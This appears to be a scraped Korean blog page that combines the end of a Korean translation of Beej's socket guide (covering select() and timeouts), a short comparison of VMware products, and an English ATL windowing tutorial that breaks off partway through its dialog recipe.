이 함수는 화일 기술자의 "집합", 특별히 readfds,writefds,exceptfds등을 관리한다. 만일 일반적인 입력이나 소켓 기술자로부터 읽어 들일수 있는가를 확인하려면 단지 화일 기술자 0과 sockfd를 readfds에 더해주기만 하면 된다. numfds는 가장 높은 파일 기술자에다가 1을 더해서 지정해야 하며 이번 예제에서는 정규 입력의 0보다 확실히 크게 하기 위해서 sockfd+1 을 지정해야 한다.

select()의 결과값이 나올때 readfs는 선택한 파일 기술자 중에 어떤 것이 읽기 가능한가를 반영할 수 있도록 수정되며 FD_ISSET() 매크로를 이용하여 체크할 수 있다.

너무 멀리 나가기 전에 이 "집합"들을 어떻게 관리하는 가에 대해서 얘기를 해야 할것 같다. 각각의 "집합"은 fd_set형이며 다음의 매크로들로 이를 제어할 수 있다.

  • FD_ZERO(fd_set *set) - 파일기술자 집합을 소거한다.
  • FD_SET(int fd, fd_set *set) - fd 를 set에 더해준다.
  • FD_CLR(int fd, fd_set *set) - fd 를 set에서 빼준다.
  • FD_ISSET(int fd, fd_set *set) - fd가 set안에 있는지 확인한다.

끝으로 이 수상한 struct timeval은 또 무엇인가? 아마도 누군가가 어떤 데이터를 보내는 것을 무한정 기다리기를 원치는 않을 것이다. 특정시간마다 아무일도 안 벌어지더라도 "현재 진행중..."이라는 메시지를 터미널에 출력시키기라도 원할 것이다. 이 구조체는 그 시간간격을 정의하기 위해서 사용되는 것이다. 이 시간이 초과되고 그 때까지 select()가 아무런 변화를 감지하지 못한 경우라면 결과를 돌려주고 다음 작업을 진행 할수 있도록 해준다.

struct timeval의 구조는 다음과 같다.

    struct timeval {        int tv_sec;     /* seconds */        int tv_usec;    /* microseconds */    };

기다릴 시간의 초를 지정하려면 그냥 tv_sec에 지정하면 된다. tv_usec에는 마이크로 초를 지정한다. 밀리초가 아니고 마이크로초이다. 마이크로초는 백만분의 일초이다. 그런데 왜 usec인가? u는 그리스 문자의 Mu를 닮았고 이는 마이크로를 의미하는데 사용된다. 함수가 끝날때 timeout에 남은 시간이 기록될수도 있으며 이 내용은 유닉스마다 다르기는 하다.

와우~ 마이크로 초 단위의 타이머를 가지게 되었군! 만일 timeval에 필드들을 0으로 채우면 select()는 즉시 결과를 돌려주며 현재 set들의 내용을 즉시 알려주게 된다. timeout을 NULL로 세팅하면 결코 끝나지 않고 계속 파일 기술자가 준비되는 것을 기다리게 되며 끝으로 특정한 set에 변화에 관심이 없다면 그 항목을 NULL로 지정하면 된다.

다음은 정규 입력에 무언가 나타날때까지 2.5초를 기다리는 코드이다.

       #include <sys/time.h>        #include <sys/types.h>        #include <unistd.h>        #define STDIN 0  /* file descriptor for standard input */       main()       {           struct timeval tv;           fd_set readfds;           tv.tv_sec = 2;           tv.tv_usec = 500000;           FD_ZERO(&readfds);           FD_SET(STDIN, &readfds);           /* don't care about writefds and exceptfds: */           select(STDIN+1, &readfds, NULL, NULL, &tv);           if (FD_ISSET(STDIN, &readfds))               printf("A key was pressed!\n");           else               printf("Timed out.\n");       }

만일 한줄씩 버퍼링하는 터미널이라면 엔터키를 치지 않는 이상은 그냥 타임아웃에 걸릴것이다.

이제 아마도 이 훌륭한 방법을 데이터그램 소켓에서 데이터를 기다리는 데에 사용할수 있으리라고 생각할 것이다. 맞다. 그럴 수도 있다. 어떤 유닉스에서는 이 방법이 되지만 안되는 것도 있다. 하고자 하는 내용에 대해서는 아마도 맨페이지를 참조해야 할 것이다.

select()에 관한 마지막 얘기는 listen()이 된 소켓이 있다면 이 방법을 이용하여 소켓 기술자를 readfds에 첨가하는 방식으로 새로운 연결이 있었는가를 확인할 수도 있다는 것이다.

이것이 select()에 대한 짧은 검토였다.

참고사항

여기까지 와서는 아마 좀더 새로운 다른 것은 없는가 할것이다. 또 어디서 다른 무언가를 더 찾을수 있는가를 알고자 할것이다.

초보자라면 다음의 맨페이지를 참고하는 것도 좋다.

다음 책들도 도움이 될것이다. books:
Internetworking with TCP/IP, volumes I-III
by Douglas E. Comer and David L. Stevens.
Published by Prentice Hall.
Second edition ISBNs: 0-13-468505-9, 0-13-472242-6, 0-13-474222-2.
There is a third edition of this set which covers IPv6 and IP over ATM.

Using C on the UNIX System
by David A. Curry.
Published by O'Reilly & Associates, Inc.
ISBN 0-937175-23-4.

TCP/IP Network Administration
by Craig Hunt.
Published by O'Reilly & Associates, Inc.
ISBN 0-937175-82-X.

TCP/IP Illustrated, volumes 1-3
by W. Richard Stevens and Gary R. Wright.
Published by Addison Wesley.
ISBNs: 0-201-63346-9, 0-201-63354-X, 0-201-63495-3.

Unix Network Programming
by W. Richard Stevens.
Published by Prentice Hall.
ISBN 0-13-949876-1.

웹상에는 다음과 같은 것들이 있을것이다.
BSD Sockets: A Quick And Dirty Primer (http://www.cs.umn.edu/~bentlema/unix/--has other great Unix system programming info, too!)

Client-Server Computing (http://pandonia.canberra.edu.au/ClientServer/socket.html)

Intro to TCP/IP (gopher) (gopher://gopher-chem.ucdavis.edu/11/Index/Internet_aw/Intro_the_Internet/intro.to.ip/)

Internet Protocol Frequently Asked Questions (France) (http://web.cnam.fr/Network/TCP-IP/)

The Unix Socket FAQ (http://www.ibrado.com/sock-faq/)

끔찍하지만..RFC도 봐야 하겠다.
RFC-768 -- The User Datagram Protocol (UDP) (ftp://nic.ddn.mil/rfc/rfc768.txt)

RFC-791 -- The Internet Protocol (IP) (ftp://nic.ddn.mil/rfc/rfc791.txt)

RFC-793 -- The Transmission Control Protocol (TCP) (ftp://nic.ddn.mil/rfc/rfc793.txt)

RFC-854 -- The Telnet Protocol (ftp://nic.ddn.mil/rfc/rfc854.txt)

RFC-951 -- The Bootstrap Protocol (BOOTP) (ftp://nic.ddn.mil/rfc/rfc951.txt)

RFC-1350 -- The Trivial File Transfer Protocol (TFTP) (ftp://nic.ddn.mil/rfc/rfc1350.txt)


주의사항 및 연락처

이상이 전부이며 문서상에서 크게 틀린 곳이 없기만을 바랄 뿐이다. 하지만 실수는 항상 있는 법이다.

만약 실수가 있다면 부정확한 정보를 주어 헷갈리게 만듯것에 대하여 사과하지만 사실상 나한테 책임을 물을수는 없다. 이 얘기는 법적인 경고이며 사실상 이 모든 글들이 몽땅 거짓말 일수도 있는 것이다.

그래도 설마 그렇지는 않을 것이다. 사실 난 이 모든것들 때문에 상당히 많은 시간을 소모했고 윈도우용 TCP/IP네트워크 유틸리티(예를 들어 텔넷등)을 방학숙제로 했었다. 난 소켓의 신이 아니라 그냥 보통 사람일 뿐이다.

그건 그렇고 생산적인 (혹은 파괴적이라도) 비평이 있는 분은 beej@ecst.csuchico.edu 앞으로 메일을 주기 바란다. 참고하여 고쳐나가도록 노력을 해 보겠다.

왜 이 일을 했는가 궁금하다면, 돈벌려고 했다. 하하~ 사실은 아니고 많은 사람들이 소켓에 관련된 질문을 해 대는 바람에 그들에게 이 내용을 웹에 올리려고 생각중이라고 말했더니 "바로 그거야~"라고들 해서 썼다. 아무리 고생해서 얻은 정보라도 만일 다른 사람과 공유하지 않는다면 쓰레기일 뿐이라고 생각한다. WWW는 바로 적당한 수단이 된 것 뿐이다. 다른 사람도 이런 정보의 제공이 가능하다면 이렇게 해주길 바란다.

끝났다. 프로그램이나 짜러가자. ;-)

번역한 사람의 말: 우연히 이 글을 발견하게 되어 번역을 하고 보니 나름대로 가치가 있어 보여서 홈페이지에 올려 놓았습니다. 번역상의 실수가 있었다면 사과드리며 지적해 주신다면 고쳐 나가겠습니다. 좋은 프로그램을 만드는데에 이 글이 작으나마 도움이 되길 바랍니다.


Copyright © 1995, 1996 by Brian "Beej" Hall. This guide may be reprinted in any medium provided that its content is not altered, it is presented in its entirety, and this copyright notice remains intact. Contact beej@ecst.csuchico.edu for more information. 좋은 내용의 글을작성하고 한글판 번역을 허락해준 원작자에게 감사하며 번역자로서의 모든권리는 읽어주신 분들께 드리겠습니다. 번역상의 실수나 생산적인 지적은 tempter@fourthline.com 으로 보내주시면 되겠습니다. 감사합니다.
[ VMWare ] Workstation / GSX Server / ESX Server 의 차이점

▣출처 : http://blog.naver.com/real_genius/150012112050

▒ VMWare Workstation

VMWare Workstation 은 호스트 OS 로 Workstation 즉 Windows NT workstation /Windows Professional / Windows XP / Linux 등을 사용하게 된다. 주로 테스트 용도나교육장 등에서 많이 사용한다.

▒ VMware GSX Server

VMWare GSX Server 는 호스트 OS 로ServerOS 즉 Windows NT Server, Windows 2000 Server, Windows 2003 Server, Linux등을 사용한다.주로 서버 테스트 용도로 사용한다.

▒ VMware ESX Server

VMWare ESX Server 는 앞의 두 제품과 달리 호스트 OS 없이 가상서버를 구현한다. 즉 LInux 기본 커널만 올려서 VMware Kernel 을 올릴 수 있게만 해주고 그 위에서 서버 자원을 공유하게 된다.주로 Data Center 에서 Service 용도로 사용하게 되며, SAN(Storage Area Network) 기반에서 운영이 됩니다.



▒ 특징

VMWare Workstation 과 VMWare GSXServer 는 호스트 기반의 VM 이며 VMWare ESX Server 는 Hostless 기반의 VM 입니다. 그냥보면 별 차이 없어 보이지만 성능면에서는 월등한 차이를 보이게 됩니다. 다시말하면 HOST 기반의 VM 은 가상머신이 자원을 사용하려 할때 OS Layer 를 거쳐서 자원에 접근하게 됩니다.
때문에 HOST OS 에도부담을 주고 가상머신에도 부담을 주게 됩니다. 때문에 Performance는 떨어지게 되죠. 반면에 Hostless 기반의 VMWare ESX Server 는 가상서버가 자원에 접근할때 Direct 로 접근을 하게 됩니다. 때문에 거의 Performance 에 영향을 받지 않으므로 서비스용으로도 충분히 사용가능합니다.
VMWare ESX Server 는 일반적으로 80개까지 OS 를 운영할수 있으며, 대부분의 사이트에서 8 ~10 개의 OS 를 운영을 합니다.
하드웨어 업체들은 고사양의 하드웨어를 속속 발표하고 있지만 OS 를 만드는 Windows 나 Linux 는 자원의 효율적 활용을 기반으로 Upgrade 를 진행하게 됩니다.
때문에 앞으로는 더더욱 가상서버의 활용도가 높아질 것은 당연한 것이라고 할 수 있죠.

'Computer Science' 카테고리의 다른 글

C++ 소켓 프로그래밍 라이브러러  (0) 2009.05.18
인터넷 소켓 활용  (0) 2009.05.18
Using the ATL Windowing Classes  (0) 2009.04.28
ATL::CWindow 사용하기  (0) 2009.04.28
wtl  (0) 2009.04.25
Using the ATL Windowing Classes
Rating: none

Andrew Whitechapel (view profile)
April 12, 2001

In this article I'll provide an introduction to the ATL windowing classes, and a simple cookbook tutorial on an ATL frame-view application -- you'll see that it's actually quite easy to implement front-end functionality equivalent to the MFC. The learning curve with ATL windowing is much less steep and much shorter than learning the MFC because the ATL is so much smaller.

Although the ATL is designed primarily to support COM, it does contain a range of classes for modeling windows. You can use these classes for COM objects that have windows, such as ActiveX Controls, and for Windows applications that do not necessarily involve COM. The most important ATL windowing classes are listed in the table below:
(continued)

CWindow A thin wrapper to the Win32 APIs for manipulating a window, including a window handle and an HWND operator that converts a CWindow object to an HWND. Thus you can pass a CWindow object to any function that requires a handle to a window.
CWindowImpl You can use CWindowImpl to create a window based on a new Windows class, superclass an existing class, or subclass an existing window.
CContainedWindow A class that implements a window which routes messages to the message map of another class, allowing you to centralize message processing in one class.
CAxWindow Allows you to implement a window that hosts an ActiveX control, with functions to create a control or attach to an existing control.
CDialogImpl Used as a base class for implementing a modal or modeless dialog box. CDialogImpl provides a dialog box procedure that routes messages to the default message map in your derived class. Does not support ActiveX controls.
CSimpleDialog Implements a simple modal dialog box given the resource ID of the dialog box. CSimpleDialog has a predefined message map that handles known commands such as IDOK and IDCANCEL.
CAxDialogImpl Like CDialogImpl, this is used as a base class for implementing a modal or modeless dialog box, and provides a dialog box procedure that routes messages to the default message map in your derived class. Additionally supports ActiveX controls. The ATL Object Wizard supports adding a CAxDialogImpl-derived class to your project and generates an accompanying dialog resource.
CWndClassInfo Manages the information of a new window class -- essentially encapsulates WNDCLASSEX.
CWinTraits and CWinTraitsOREncapsulate the traits (WS_ window styles) of an ATL window object.

Message Maps

One factor in the reluctance to invest the time in learning ATL windowing is a perception that ATL message maps are weird. OK, they're different from the MFC message maps, but did you understand MFC message maps the first time you saw the macros? In fact, the ATL maps are surprisingly easy to grasp. To allow you to process window messages in a CWindowImpl-derived class, ATL inherits from the abstract base class CMessageMap. CMessageMap declares one pure virtual function, ProcessWindowMessage, which is implemented in your CWindowImpl-derived class via the BEGIN_MSG_MAP and END_MSG_MAP macros.

In addition to the familiar format of MFC message handlers, ATL message handler functions accept an additional argument of type BOOL&. This argument indicates whether a message has been processed, and it's set to TRUE by default. A handler function can then set the argument to FALSE to indicate that it has not handled a message. In this case, ATL will continue to look for a handler function further in the message map. By setting this argument to FALSE, you can first perform some action in response to a message and then allow the default processing or another handler function to finish handling the message.

There are three groups of message map macros, as listed in the table below:

  • Message handlers for all messages
  • Command handlers for WM_COMMAND messages
  • Notification handlers for WM_NOTIFY messages
MESSAGE_HANDLER Maps a window message to a handler function.
COMMAND_HANDLER Maps a WM_COMMAND message to a handler function based on the notification code and the ID of the menuitem, control, or accelerator.
COMMAND_ID_HANDLER Maps a WM_COMMAND message to a handler function based on the ID of the menuitem, control, or accelerator.
COMMAND_CODE_HANDLER Maps a WM_COMMAND message to a handler function based on the notification code.
NOTIFY_HANDLER Maps a WM_NOTIFY message to a handler based on the notification code and the control identifier.
NOTIFY_ID_HANDLER Maps a WM_NOTIFY message to a handler based on the control identifier.
NOTIFY_CODE_HANDLER Maps a WM_NOTIFY message to a handler based on the notification code.

For example, if you have an ATL dialog class with child controls on the form, you might have a message map like the one shown below:

BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) COMMAND_ID_HANDLER(IDOK, OnOK) COMMAND_CODE_HANDLER(EN_ERRSPACE, OnErrEdits) NOTIFY_HANDLER(IDC_LIST1, NM_CLICK, OnClickList1) NOTIFY_ID_HANDLER(IDC_LIST2, OnSomethingList2) NOTIFY_CODE_HANDLER(NM_DBLCLK, OnDblClkLists)END_MSG_MAP()

The MFC architecture allows it to use two distinct message routing schemes: routing windows messages up through the hierarchy, and routing command messages across the doc-view classes. The first scheme is less appropriate in the ATL, which has a much looser hierarchy of partially implemented template classes. The second scheme is not appropriate because the ATL does not rigidly impose anything equivalent to the MFC doc-view architecture.

The ATL provides two ways to handle messages sent by different windows in a single message map: alternate message maps and chained message maps. A parent window can also handle messages sent to it by a child control by sending the message back as a reflected message.

Alternate Message Maps

Alternate message maps are primarily designed for use with the ATL class CContainedWindow. This class is written to route all of its messages to the message map in another class. This allows messages sent to a child window to be handled by its parent window.

The CContainedWindow constructor needs to be given the address of the class that contains the message map to be used, and the ID of the alternate message map within the message map (or zero for the default message map).

For example, when you create an ATL control based on a Windows control, the Object Wizard will generate a class for the control with an embedded CContainedWindow member to represent the child control. In effect, this contained window superclasses the particular Windows control you have chosen to base your ActiveX control on:

class ATL_NO_VTABLE CMyButton : public CComObjectRootEx<CComSingleThreadModel>, public CComCoClass<CMyButton, &CLSID_MyButton>, public CComControl<CMyButton>, //...{public: CContainedWindow m_ctlButton; CMyButton() : m_ctlButton(_T("Button"), this, 1) { }BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>) ALT_MSG_MAP(1)END_MSG_MAP()//...

Note that Button is the WNDCLASS style, not the caption. This pointer of the containing class is passed as the second parameter, and the value 1 is passed to the CContainedWindow constructor to identify the alternate message map.

If you then want to handle the WM_LBUTTONDOWN for the control, you would update the message map as shown below. In this way, the message would be routed to the parent window's message map, and then routed to the alternate part of that message map:

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>)ALT_MSG_MAP(1) MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown)END_MSG_MAP()

So, alternate message maps are a simple strategy to allow you to consolidate message handlers within a single BEGIN_MSG_MAP/END_MSG_MAP macro pair.

Chained Message Maps

Chaining message maps routes the message through to the message map in another class or object. ATL supplies several map-chaining macros:

CHAIN_MSG_MAP(theBaseClass)Routs messages to the default message map of a base class.
CHAIN_MSG_MAP_ALT(theBaseClass, mapID)Routes messages to the alternate message map of a base class.
CHAIN_MSG_MAP_MEMBER(theMember)Routes messages to the default message map of the specified data member (derived from CMessageMap).
CHAIN_MSG_MAP_ALT_MEMBER(theMember, mapID)Routes messages to the alternate message map of the specified data member.

For example, when you create an ATL control based on a Windows control, the Object Wizard will generate code like this:

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>)ALT_MSG_MAP(1)END_MSG_MAP()

This specifies that WM_CREATE and WM_SETFOCUS messages will be handled in this class, but any other message will be routed to the message map in the CComControl<> base class. Also, if the handlers for WM_CREATE or WM_SETFOCUS set bHandled to false, these messages will then be passed on to the base class for further handling.

To route messages to a data member, you'd have to update the map like this:

BEGIN_MSG_MAP(CMyButton) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SETFOCUS, OnSetFocus) CHAIN_MSG_MAP(CComControl<CMyButton>)ALT_MSG_MAP(1) CHAIN_MSG_MAP_MEMBER(m_ctlButton)END_MSG_MAP()

This assumes that m_ctlButton is a member of the container window, and is an instance of a class derived from CContainedWindow where you have an entry in the message map for the messages you're interested in:

class CMyButtonControl : public CContainedWindow{ //... BEGIN_MSG_MAP(CMyButtonControl)  MESSAGE_HANDLER(WM_LBUTTONDOWN, OnLButtonDown) END_MSG_MAP()

So, chained message maps allow you to chain-route messages from one map to another -- similar in concept to the message routing schemes adopted by the MFC.

Reflected Messages

A parent window can handle windows messages sent to it by a child control by sending the message back as a reflected message -- this will be the original message plus a flag. When the control gets these messages, it can identify them as being reflected from the container and handle them appropriately. For example, a child control might want to handle WM_DRAWITEM messages. For this to work, REFLECT_NOTIFICATIONS must be present in the parent window's message map:
BEGIN_MSG_MAP(CMyDialog) MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog) COMMAND_ID_HANDLER(IDOK, OnOk) NOTIFY_HANDLER(IDC_EDIT1, EN_CHANGE, OnChangeEdit1) REFLECT_NOTIFICATIONS()END_MSG_MAP()

The REFLECT_NOTIFICATIONS macro expands to a call to CWindowImpl::ReflectNotifications, which has this signature:

template <class TBase>LRESULT CWindowImplRoot<TBase>::ReflectNotifications(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled);

The function extracts the window handle to the child control that sent the message from the wParam or lParam (depending on the type of message), and then sends the message on like this:

::SendMessage(hWndChild, OCM_ _BASE + uMsg, wParam, lParam);

The child window handles the reflected message using the standard MESSAGE_HANDLER macros and the predefined reflected message IDs defined in olectrl.h:

BEGIN_MSG_MAP(CMyContainedControl) MESSAGE_HANDLER(OCM_DRAWITEM, OnDrawItem) DEFAULT_REFLECTION_HANDLER()END_MSG_MAP()

OCM_DRAWITEM, shown in this example, is defined as follows:

#define OCM_ _BASE          (WM_USER+0x1c00)#define OCM_COMMAND         (OCM_ _BASE + WM_COMMAND)//...#define OCM_DRAWITEM        (OCM_ _BASE + WM_DRAWITEM)

The DEFAULT_REFLECTION_HANDLER macro converts the message back to the original message and passes it to DefWindowProc.

Recipe 1: ATL Window App

This is a very simple exercise, designed to demonstrate how easy it is to create a simple application using the ATL window classes. Here's one I made earlier:

The ATL COM AppWizard is designed to provide a host for COM objects. If you want a non-COM application, the ATL COM AppWizard code is more than you need. So, to create an ATL application, you have two choices:

  • Create an ATL COM AppWizard EXE server, and accept the (possibly superfluous) overhead.
  • Create a Win32 Application, and manually add ATL support.

Just so you can see exactly what's required, we'll deliberately avoid any wizard-generated code, and follow the second route to achieve the minimum lightweight framework for our application.

  1. Create a new Win32 Application, selecting the Simple option, so that we get the stdafx.h and stdafx.cpp. ('afx', of course is a hangover from the MFC, but the name is irrelevant - what's important is the PCH).

    ATL Support

  2. Modify stdafx.h to add the necessary ATL headers and an extern reference to the global CComModule object:
    #include <atlbase.h>extern CComModule _Module;#include <atlcom.h>#include <atlwin.h>
  3. Add an ATL object map to the main CPP file - it'll be empty, but we need it for the CComModule object. Also declare the global CComModule object:
    CComModule _Module;BEGIN_OBJECT_MAP(ObjectMap)END_OBJECT_MAP()
  4. Add an IDL file with the same name as the project. This must have a library block. It doesn't need to be built as part of the project (and you should set the Project|Settings to exclude it from the build), but it needs to exist for the wizards to work. And you can use any name you like for the library.:
    library SomethingOrOther{};

    Window

  5. There is no wizard support for creating classes specifically using the ATL window classes, so we'll have to add a generic class with the New Class dialog and then modify it manually. Right-click the root node in classview, and select New Class. Use the class type: Generic Class, the name CMyWindow, and the base class CWindowImpl<CMyWindow>. You'll get a complaint about these ATL window classes because the wizard will generate a new header for your new class but won't #include the stdafx.h (where atlwin.h has been included) and won't know about these classes. Fix this by #including the stdafx.h.

  6. In your new window class, declare a message map then save the file:
    BEGIN_MSG_MAP(CMyWindow)END_MSG_MAP()
  7. In classview, right-click your new window class to get a handler for WM_DESTROY. Code this to post a quit message:
    LRESULT OnDestroy(UINT uMsg, WPARAM wParam,                  LPARAM lParam, BOOL& bHandled){ PostQuitMessage(0); return 0;}
  8. Similarly, get a handler for WM_PAINT, and code to print out a string. You can see straight away that - as usual with the ATL - we're straight out to API code. And there's no ATL class to wrap an HDC, although, there is in the WTL):
    LRESULT OnPaint(UINT uMsg, WPARAM wParam,                LPARAM lParam, BOOL& bHandled){ PAINTSTRUCT ps; HDC hDC = GetDC(); BeginPaint(&ps); TextOut(hDC, 0, 0, _T("Hello world"), 11); EndPaint(&ps); return 0;}

    WinMain

  9. At the top and bottom of WinMain, code the usual CComModule::Init and Term calls:
    _Module.Init(NULL, hInstance);// ..._Module.Term();
  10. Between the Init and Term, declare an instance of your window class, and initialize it with a call to Create (don't forget to #include the header). Then set up a message loop:
    CMyWindow wnd;wnd.Create(NULL, CWindow::rcDefault, _T("Hello"),           WS_OVERLAPPEDWINDOW|WS_VISIBLE);MSG msg;while(GetMessage(&msg, NULL, 0, 0)){ TranslateMessage(&msg); DispatchMessage(&msg);}
  11. Now, build and run your application. You should find that you'll have a window just like the one shown above with the customary "Hello World" message in the client area.
Easy-peasy, huh? Now let's take this a step further with another demo...

Recipe 2: ATL Frame-View App

In this project we'll create an application modeled on the MFC SDI frame-view paradigm, but use the ATL window classes. The first version of this app will look almost the same as the previous SimpleWin, but then we'll add a view, menus, and dialogs.

  1. Create a new 'Simple' Win32 Application. As before, modify stdafx.h to add the necessary ATL headers and an extern reference to the global CComModule object. Add an ATL object map to the main CPP file and declare the global CComModule object. Also add a skeleton IDL file with a library block.

    Mainframe Window

  2. Right-click the root node in classview, and select New Class. Use the class type: Generic Class, the name CMainFrame, and the base class CWindowImpl<CMainFrame, CWindow, CFrameWinTraits>. Note that CFrameWinTraits is a typedef (in atlwin.h) for a specialization of CWinTraits suitable for a main-frame window. In this new CMainFrame class, declare the WNDCLASS struct name, and a message map:
    DECLARE_WND_CLASS(_T("MyFrame"))BEGIN_MSG_MAP(CMainFrame)END_MSG_MAP()
  3. We have inherited the function OnFinalMessage - one of the few virtual functions in the ATL - and this will be called by ATL when a WM_NCDESTROY message is received. We need to override this to post a quit message:
    void OnFinalMessage(HWND /*hWnd*/){ ::PostQuitMessage(0);}
  4. Now add some code to WinMain. At the top and bottom call the usual CComModule initialization/termination routines:
    _Module.Init(NULL, hInstance, NULL);_Module.Term();
  5. #include the mainframe class header, declare an instance of the frame between the Init and Term, declare another instance of the frame, and initialize it with a call to Create. Then run a message loop:
    CMainFrame mf;mf.Create(GetDesktopWindow(), CWindow::rcDefault,      _T("My App"), 0, 0, 0);mf.ShowWindow(SW_SHOWNORMAL);MSG msg;while (GetMessage(&msg, 0, 0, 0)){ TranslateMessage(&msg); DispatchMessage(&msg);}

  6. Bake and serve.

    View Window

  7. Now we'll add a view class. Right-click in classview to create another new class. Again, make it a generic class. Call it CViewWin, derive it from CWindowImpl<CViewWin, CWindow, CWinTraits >. Remember there is no predefined typedef for a CWinTraits specialization suitable for a view.

  8. #include the stdafx.h and declare the WNDCLASS and message map as before. Then add a CViewWin instance as a member in the CMainFrame class, and get a WM_CREATE handler in the frame: implement this to create the view:
    LRESULT OnCreate(UINT uMsg, WPARAM wParam,                 LPARAM lParam, BOOL& bHandled){ m_wndView.Create(m_hWnd, CWindow::rcDefault,                  _T("MyView"), 0, 0, 0); return 0;}
  9. Also get a WM_SIZE handler in the frame and implement to size the view. Return to the oven and serve again:
    LRESULT OnSize(UINT uMsg, WPARAM wParam,               LPARAM lParam, BOOL& bHandled){ RECT r; GetClientRect(&r); m_wndView.SetWindowPos(NULL, &r,                        SWP_NOZORDER | SWP_NOACTIVATE ); return 0;}

    User Interface

    Now, we'll handle the WM_LBUTTONDOWN, WM_MOUSEMOVE and WM_LBUTTONUP messages to provide a very simple version of the Scribble program that allows a user to draw lines with the mouse Yes, I know, but it does provide a very manageable vehicle for exploring UI response and message handling:

  10. First, add two POINT data members to the view class, and initialize them both to -1,-1 in the constructor. We need to keep track of the starting and ending point of each line drawn -- and -1,-1 of course would never come in as the coordinate values with a mouse message:
    m_startPoint.x = m_startPoint.y = -1;m_endPoint.x = m_endPoint.y = -1;
  11. Next, right-click to get handlers for the three mouse messages. Unlike the mouse message handlers in the MFC CWnd class, the ATL version doesn't declare the lParam as a CPoint (nor even as a POINT), so you'll have to extract the mouse coordinates yourself. First, the OnLButtonDown code it to log the incoming mouse coordinates as the start point of the line:
    LRESULT OnLButtonDown(UINT uMsg, WPARAM wParam,                      LPARAM lParam, BOOL& bHandled){ m_startPoint.x = LOWORD(lParam); m_startPoint.y = HIWORD(lParam); return 0;}
  12. In the OnLButtonUP, reset the start point to -1:
    LRESULT OnLButtonUP(UINT uMsg, WPARAM wParam,                    LPARAM lParam, BOOL& bHandled){ m_startPoint.x = m_startPoint.y = -1; return 0;}
  13. The OnMouseMove will need a little more work. First, set the line end point to the incoming mouse coordinates. Then get a DC, and use MoveToEx and LineTo to draw the line. Finally, update the start point with the endpoint so the next line will start at the current end point:
    LRESULT OnMouseMove(UINT uMsg, WPARAM wParam,                    LPARAM lParam, BOOL& bHandled){ m_endPoint.x = LOWORD(lParam); m_endPoint.y = HIWORD(lParam); HDC hdc = GetDC(); if (m_startPoint.x != -1 ) {  MoveToEx(hdc, m_startPoint.x, m_startPoint.y, NULL);  LineTo(hdc, m_endPoint.x, m_endPoint.y);  m_startPoint.x = m_endPoint.x;  m_startPoint.y = m_endPoint.y; } return 0;}
  14. Bake and shake. You may ask why aren't there any message crackers in the ATL? Well, of course, that's one of the things that the WTL does address

Recipe 3: ATL Menus

Continue with the Frame-View project. We will add a simple menu to give the user a choice of pen colors.:

  1. Continue with the project. First, add a public COLORREF member variable to the view class, called m_color. Initialize this in the constructor to say black. Then, use this in the OnMouseMove handler to create a pen and select it into the DC, as indicated below. Select the original pen back into the DC afterwards, as normal:
    HPEN hp = CreatePen(PS_SOLID, 2, m_color);HPEN op = (HPEN)SelectObject(hdc, hp);
  2. Insert a menu resource. Add one top-level caption: Color and three menuitems for red, green, and blue.

  3. In WinMain, #include the resource header Just before the creation of the mainframe, load the menu, and pass the handle to the Create call:
    HMENU hMenu = LoadMenu(_Module.GetResourceInstance(),                       MAKEINTRESOURCE(IDR_MENU1));mf.Create(GetDesktopWindow(), CWindow::rcDefault,           _T("My App"), 0, 0, (UINT)hMenu);
  4. We'll put the command handler for the menuitems in the main frame, so #include the resource header and manually update the message map with three new entries:
    BEGIN_MSG_MAP(CMainFrame) MESSAGE_HANDLER(WM_CREATE, OnCreate) MESSAGE_HANDLER(WM_SIZE, OnSize) COMMAND_ID_HANDLER(ID_COLOR_RED, OnColorRed) COMMAND_ID_HANDLER(ID_COLOR_GREEN, OnColorGreen) COMMAND_ID_HANDLER(ID_COLOR_BLUE, OnColorBlue)END_MSG_MAP()
  5. Set the three handlers to do the obvious work, and test again:
    LRESULT OnColorRed(WORD wNotifyCode, WORD wID,                   HWND hWndCtl, BOOL& bHandled){ m_wndView.m_color = RGB(255,0,0); return 0;}

Recipe 4: ATL Dialogs

We'll now add a simple dialog resource. Again, one of the features of the MFC is its rich support of child controls (CEdit, CComboBox, and others), which the ATL doesn't have -- although the WTL does. So how hard is it in ATL? Well, our dialog will feature a combobox, and we'll deliberately not put the strings into the combo in the resource editor - just to show how to work with the controls in a dialog programmatically.
  1. Continue with the project. Add a new top-level caption to the menu: "View" and a menuitem on this: "Dialog". We'll put the command handler for the menuitem in the main-frame message map:
    COMMAND_ID_HANDLER(ID_VIEW_DIALOG, OnViewDialog)
  2. Now for our own dialog: for the first version, we'll just use a CSimpleDialog directly. First, insert a new dialog resource, and paint it with a simple static box. Then change the menuitem command handler to use this. Build and test:
    LRESULT OnViewDialog(WORD wNotifyCode, WORD wID,                     HWND hWndCtl, BOOL& bHandled){ CSimpleDialog<IDD_DIALOG1> dlg; dlg.DoModal(); return 0;}
  3. If we want more sophisticated behaviour from our dialog, we'll have to derive from CSimpleDialog. So, first go to the resource editor and add a drop-down combobox to the dialog.

  4. Then create a new class called CListDialog, derived from CSimpleDialog<IDD_DIALOG1>. Don't forget to #include the stdafx.h. Add a message map to the new class, and an entry in the map to chain to the base-class message map:
    BEGIN_MSG_MAP(CListDialog) CHAIN_MSG_MAP(CSimpleDialog<IDD_DIALOG1>)END_MSG_MAP()
